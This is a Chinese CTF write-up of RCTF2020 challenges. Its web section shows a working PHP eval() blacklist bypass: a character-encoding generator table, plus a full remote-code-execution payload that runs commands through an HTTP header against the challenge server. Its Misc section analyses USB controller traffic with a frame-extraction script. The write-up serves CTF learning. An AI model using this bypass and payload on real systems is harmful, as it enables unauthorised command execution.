天天看點

RCTF2020 複現

題目

      • web
        • calc
      • Misc
        • Switch PRO Controller

web

calc

抓包後發現資料發送至calc.php,通路該頁面後,代碼審計:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
    $str = $_GET['num'];
    $blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', "`", '\[', "\]","\$", '_', "\\\\",'\^', ","];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . "/im", $str)) {
            die("what are you want to do?");
        }
    }
    @eval('echo '.$str.';');
}
?> 
           

可以看到,要繞過大小寫字母a-z,不能用不可見字元,還有一些其他字元。

但值得注意的是運算符沒有過濾

&

~

|

那麼先打斷一下,來看看這個小技巧:

<?php
$a = ((1/0).(1));
var_dump($a{0});
?>
           

得出來的結果就是字元

I

,因為

1/0

等于

INF

(無限大),

.(1)

就會将其變成一串字元串

INF1

$a{0}

為字元串的第一個字元,就是

I

。那麼,我們可以得到

I、N、F

1、2、3、4、5、6、7、8、9、0

那麼接下來的其他字元該怎麼擷取呢?用或運算和與運算。(取反可以參考P牛的這篇文章,但這裡就别想了)

這裡給出一份參考:

$cmd = "phpinfo";#要運作的指令
$fin="";
$tables=
    [
        "9" => "(((9).(0)){0})",
        "8" => "(((8).(0)){0})",
        "7" => "(((7).(0)){0})",
        "6" => "(((6).(0)){0})",
        "5" => "(((5).(0)){0})",
        "4" => "(((4).(0)){0})",
        "3" => "(((3).(0)){0})",
        "2" => "(((2).(0)){0})",
        "1" => "(((1).(0)){0})",
        "0" => "(((0).(0)){0})",
        "~" => "((((0).(0)){0})|(((0/0).(0)){0}))",
        "}" => "((((4).(0)){0})|(((1/0).(0)){0}))",
        "|" => "((((4).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))",
        "{" => "((((2).(0)){0})|(((1/0).(0)){0}))",
        "z" => "((((2).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))",
        "y" => "((((0).(0)){0})|(((1/0).(0)){0}))",
        "x" => "((((0).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))",
        "w" => "((((1).(0)){0})|(((1/0).(0)){2}))",
        "v" => "((((0).(0)){0})|(((1/0).(0)){2}))",
        "u" => "((((4).(0)){0})|(((0/0).(0)){1}))",
        "t" => "((((4).(0)){0})|((((0/0).(0)){0})&(((0/0).(0)){1})))",
        "s" => "((((2).(0)){0})|(((0/0).(0)){1}))",
        "r" => "((((2).(0)){0})|((((0/0).(0)){0})&(((0/0).(0)){1})))",
        "q" => "((((0).(0)){0})|(((0/0).(0)){1}))",
        "p" => "((((0).(0)){0})|((((0/0).(0)){0})&(((0/0).(0)){1})))",
        "o" => "((((0/0).(0)){0})|(((-1).(1)){0}))",
        "n" => "((((0/0).(0)){0})|((((4).(0)){0})&(((-1).(1)){0})))",
        "m" => "((((0/0).(0)){1})|(((-1).(1)){0}))",
        "l" => "(((((0).(0)){0})|(((0/0).(0)){0}))&((((0/0).(0)){1})|(((-1).(1)){0})))",
        "k" => "(((((2).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "j" => "(((((0).(0)){0})|(((0/0).(0)){0}))&(((((2).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0}))))",
        "i" => "((((0/0).(0)){1})|((((8).(0)){0})&(((-1).(1)){0})))",
        "h" => "(((((8).(0)){0})&(((-1).(1)){0}))|((((0/0).(0)){0})&(((0/0).(0)){1})))",
        "g" => "((((1/0).(0)){2})|((((1).(0)){0})&(((-1).(1)){0})))",
        "f" => "((((1/0).(0)){2})|((((4).(0)){0})&(((-1).(1)){0})))",
        "e" => "((((0/0).(0)){1})|((((4).(0)){0})&(((-1).(1)){0})))",
        "d" => "(((((0).(0)){0})|(((1/0).(0)){2}))&((((0/0).(0)){1})|(((-1).(1)){0})))",
        "c" => "(((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "b" => "(((((0).(0)){0})|(((0/0).(0)){0}))&(((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((-1).(1)){0}))))",
        "a" => "((((0/0).(0)){1})|((((1).(0)){0})&(((-1).(1)){0})))",
        "`" => "(((((0).(0)){0})|(((0/0).(0)){0}))&((((0/0).(0)){1})|((((1).(0)){0})&(((-1).(1)){0}))))",
        "O" => "((((0/0).(0)){0})|(((0/0).(0)){1}))",
        "N" => "(((0/0).(0)){0})",
        "M" => "(((((4).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
        "L" => "((((0/0).(0)){0})&((((4).(0)){0})|(((1/0).(0)){0})))",
        "K" => "(((((2).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
        "J" => "((((0/0).(0)){0})&((((2).(0)){0})|(((1/0).(0)){0})))",
        "I" => "(((1/0).(0)){0})",
        "H" => "((((0/0).(0)){0})&(((1/0).(0)){0}))",
        "G" => "((((0/0).(0)){1})|(((1/0).(0)){2}))",
        "F" => "(((1/0).(0)){2})",
        "E" => "(((((4).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
        "D" => "((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))",
        "C" => "(((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
        "B" => "((((0/0).(0)){0})&((((2).(0)){0})|(((0/0).(0)){1})))",
        "A" => "(((0/0).(0)){1})",
        "@" => "((((0/0).(0)){0})&(((0/0).(0)){1}))",
        "?" => "((((2).(0)){0})|(((-1).(1)){0}))",
        ">" => "((((6).(0)){0})|(((8).(0)){0}))",
        "=" => "((((0).(0)){0})|(((-1).(1)){0}))",
        "<" => "((((4).(0)){0})|(((8).(0)){0}))",
        ";" => "((((2).(0)){0})|(((9).(0)){0}))",
        ":" => "((((2).(0)){0})|(((8).(0)){0}))",
        "/" => "(((((2).(0)){0})|(((-1).(1)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "." => "(((((6).(0)){0})|(((8).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "-" => "(((-1).(1)){0})",
        "," => "((((-1).(1)){0})&((((0).(0)){0})|(((0/0).(0)){0})))",
        "+" => "(((((2).(0)){0})|(((9).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "*" => "(((((2).(0)){0})|(((8).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        ")" => "((((9).(0)){0})&(((-1).(1)){0}))",
        "(" => "((((8).(0)){0})&(((-1).(1)){0}))",
        "'" => "((((7).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "&" => "((((6).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "%" => "((((5).(0)){0})&(((-1).(1)){0}))",
        "$" => "((((4).(0)){0})&(((-1).(1)){0}))",
        "#" => "((((3).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
        '"' => "((((2).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "!" => "((((1).(0)){0})&(((-1).(1)){0}))"
    ];
for($i=0;$i<strlen($cmd);$i++) {
    $fin = $fin.$tables[$cmd[$i]].'.';
}
echo substr($fin,0,strlen($fin)-1);
           

此時如果直接送入

eval('echo '.$str.';');

則隻會輸出phpinfo,不會進行解析。

下面是另一個知識:

<?php
$a = "(phpinfo)();";
eval($a);
?>
           

從P牛的文章可知,它的執行和

phpinfo();

是一樣的,原因如下:

RCTF2020 複現

是以我們隻要将輸出的字元加上括号,在右邊再加上括号,即可執行函數。

這裡我們用

system(end(getallheaders()))

在headers添加一個參數來執行系統指令。

之後發現readflag檔案,内容為:

RCTF2020 複現

然後用

perl

php -r ""

來執行檔案即可擷取flag。

wp的payload:

GET /calc.php?num=(((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(3))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(9))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(3))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D)).(((10000000000000000000).(1))%7B3%7D).((((10000000000000000000).(1))%7B3%7D)%7C(((-1).(1))%7B0%7D)))(((((10000000000000000000).(1))%7B3%7D).(((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D))%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(6))%7B1%7D))).((((10000000000000000000).(1))%7B3%7D)%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(6))%7B1%7D))))((((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D)%26((~(((1).(8))%7B1%7D)%7C(((1).(7))%7B1%7D)))).(((10000000000000000000).(1))%7B3%7D).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(1))%7B1%7D))).(((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D))%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D))).(((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D))%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D))).(((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D))%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(0))%7B1%7D))).(((10000000000000000000).(1))%7B3%7D).((((10000000000000000000).(1))%7B3%7D)%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(1))%7B1%7D))).((((10000000000000000000).(1))%7B3%7D)%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D))).(((10000000000000000000).(1))%7B3%7D).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(2))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(3))%7B1%7D)))()))%3B HTTP/1.1
Host: 124.156.140.90:8081
z: php -r "eval(base64_decode('JHByb2Nlc3MgPSBwcm9jX29wZW4oDQogJy9yZWFkZmxhZycsDQogW1sicGlwZSIsICJyIl0sWyJwaXBlIiwgInciXSxbInBpcGUiLCAidyJdXSwkcGlwZXMNCik7DQpmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KJGV4cCA9IGZyZWFkKCRwaXBlc1sxXSwgMTAyNCk7DQokZXhwID0gZXhwbG9kZSgiXG4iLCAkZXhwKVswXTsNCmZ3cml0ZSgkcGlwZXNbMF0sIGV2YWwoInJldHVybiAkZXhwOyIpLiJcbiIpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0K'));"
           

隻能說太菜了,頂不住。

Misc

Switch PRO Controller

題目給了一段視訊,是輸入flag的視訊。還有一個流量包,打開發現是USB流量分析,再結合題目,可以知道,應該是switch搖桿的流量。

我參考了這麼兩篇文章,一篇是DragonSectorCTF的,另一篇是github上關于switch連接配接的代碼。

打開流量包,過濾條件設定為

frame.len==91

,篩選出有Leftover Capture Data的流量。并将其設定為單獨一列。

RCTF2020 複現

然後再利用tshark工具,

tshark -r swi.pcapng -T fields -e "usb.capdata" >> a.hex

即可得到一個a.hex為該列的内容。

其中文章提到:

RCTF2020 複現

然後讀取檔案的這兩個按鈕,然後看着視訊确定按下了哪個鍵,最後得到flag.(說實話,我這裡并沒有分析出哪些是switch的流量包,看的我很迷糊,以後有時間再進行分析吧)

第二種方法是wp,分析為json檔案,然後逐幀選取鍵位,即可直接得到flag:

RCTF2020 複現
RCTF2020 複現

下面直接貼wp的腳本吧:

import ffmpeg
# install ffmpeg to your system and then pip3 install ffmpeg-python
import numpy
import cv2
import json

KEY_A = 0b00001000
TIMEDELTA = 3
JSON_FILE = 'easy.json'
VIDEO_FILE = 'easy.mp4'
# Timedelta can be calculated by when the first packet that 
# means KEY_A pressed appears and when the first character
# appears on the textbox in the video
# It help us locate the KEY_A-Pressed frames in the video.

f = open(JSON_FILE, 'r', encoding='utf-8')
packets = json.loads(f.read())
f.close()

# filter the packets which means A is pressed and extract time and frameNo
buf = []
for packet in packets[735:]:
    layers = packet['_source']['layers']
    packetid = int(layers['frame']['frame.number'])
    time = float(layers['frame']['frame.time_relative'])
    try:
        capdata = bytearray.fromhex(layers["usb.capdata"].replace(':', ' '))
        if capdata[3] & KEY_A == KEY_A:
            buf.append([packetid, time])
            print(packetid, time, [bin(data)[2:] for data in capdata[3:6]])
    except KeyError:
        pass

print(buf)

# seperate sequences from filtered packets and calculate the average time for each sequence
time_avg = []
_lastid = buf[0][0]-2
_sum = 0
_sumcnt = 0
_cnt = 0

for data in buf:
    _cnt += 1
    if data[0]-_lastid==2 and _cnt!=len(buf):
        _sum+=data[1]
        _sumcnt+=1
    else:
        time_avg.append(_sum/_sumcnt)
        _sum = 0
        _sumcnt = 0
    _lastid = data[0]
print(time_avg)

# extract frames from the video one by one
for t in time_avg:
    out, err = (
        ffmpeg.input(VIDEO_FILE, ss=t)
              .output('pipe:', vframes=1, format='image2', vcodec='mjpeg')
              .run(capture_stdout=True)
    )

    image_array = numpy.asarray(bytearray(out), dtype="uint8")
    image = cv2.imdecode(image_array, cv2.IMREAD_COLOR)
    cv2.imshow('time={}'.format(t), image)

    cv2.moveWindow('time={}'.format(t), 0, 0)
    if cv2.waitKey(0) == 27:
        break
    else:
        cv2.destroyAllWindows()